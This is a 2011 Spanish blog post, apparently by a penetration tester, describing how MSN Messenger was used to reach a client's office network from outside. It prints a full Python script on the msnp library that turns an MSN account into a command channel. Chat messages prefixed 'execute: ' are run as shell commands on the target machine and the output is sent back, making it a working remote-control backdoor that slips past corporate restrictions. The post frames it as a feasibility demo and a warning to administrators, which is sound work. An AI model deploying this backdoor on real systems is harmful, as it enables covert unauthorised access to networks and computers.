3 de agosto de 2011

(Ab)Usando del protocolo MSN

En cierta ocasión, después de realizar el trabajo que se nos encomendó nos propusieron algo que estaba claro que andaban dándole vueltas por las caras que llevaban. ¿Sería posible que alguno de nuestros empleados pudiera acceder a su ordenador y por consiguiente a la red desde fuera de la oficina?

Así pues, con los datos que ya llevábamos, nos fuimos a la oficina a estudiar si eso sería posible o no. Al no conseguir datos que dijeran que eso fuera posible, nos fuimos a las oficinas del cliente a seguir investigando si eso sería posible.

Mi compañero, que es un monstruo dio con la clave, más o menos. En realidad no fue como en las películas, una casualidad. Como en muchas empresas entonces, se capaban mogollón de cosas, pero seguía permtiéndose usar el msn, o el gmail o cualquier otra movida.

Usamos el MSN para controlar su sistema desde fuera.

En su momento estudiamos un poco el protocolo y lo reprodujimos. No tengo ni idea de donde esta aquello ahora, así que lo he reproducido con lo que tenemos a mano hoy en día. Bastante más fácil por cierto.

Para programar el cliente remoto hemos usado la librería msnp.py, que podéis encontrar aquí. Os pongo las modificaciones que hemos realizado:

import msnp
import time
import os
import re
import sys

if len(sys.argv)<2:
print "Introduce con quien comunicar"
sys.exit()

dest_user = sys.argv[1]

class MsnChatListener(msnp.ChatCallbacks):
def message_received(self, passport_id, display_name, text, charset):

if dest_user == passport_id:
print '%s: %s' % (passport_id, text)
if re.match("execute: ",text):
comando = str(text.split("execute: ")[-1])
comando_execute = os.popen(comando).readlines()
if len(comando_execute)>0:
for bucle in comando_execute:
self.chat.send_message(bucle.split('\n')[0], charset)
self.chat.send_message("------ COMANDO EJECUTADO ------", charset)
else:
self.chat.send_message('"'+comando+'"'+' no se reconoce como un comando interno o externo,', charset)
self.chat.send_message('programa o archivo por lotes ejecutable.', charset)

class MsnListener(msnp.SessionCallbacks):
def chat_started(self, chat):
callbacks = MsnChatListener()
chat.callbacks = callbacks
callbacks.chat = chat

msn = msnp.Session(MsnListener())
msn.login('correo@hotmail.es', 'password')

while True:
msn.process(chats = True)
time.sleep(1)
El protocolo es antiguo, pero para demostrar la viabilidad es perfectamente usable.

A continuación muestro una captura de lo que ocurre al lanzarlo:


Es necesario poseer dos cuentas. La primera de ellas se usará para el programa, para poder conectar con ella. La segunda es la cuenta desde la cual conectaremos. Yo he usado dos cuentas mías directamente.

Al lanzar el programa es necesario indicarle desde que otra cuenta se va a hablar con él. Esto es necesario por motivos evidentes. Cualquiera que se agregara esta cuenta podría lanzar comandos, nada más descubriera como hacerlo, lo cual también es modificable para que sólo devuelva los datos adecuados en caso que se lo digamos nosotros, no cualquier otro.

A continuación adjunto una pantalla de la ventana del messenger interactuando con el cliente instalado en la máquina destino.


Para poder lanzar comandos sólo hay que añadir delante el comando “execute:".

Si bien no es una vulnerabilidad, es algo que muchos administradores deben de tener en cuenta. Aún hoy en día existen bastantes redes empresariales en las cuales está permitido usar clientes de mensajería, y la mayoría de las veces no es porque los responsables de la red no quieran evitarlo.

Enlaces que deberías visitar si estás interesado en este protocolo:
http://msnpiki.msnfanatic.com/index.php/Main_Page
http://msnp.sourceforge.net/tutorial.html
http://es.wikipedia.org/wiki/Microsoft_Notification_Protocol
http://www.hypothetic.org/docs/msn/

“Cualquier parecido con la realidad es mera coincidencia”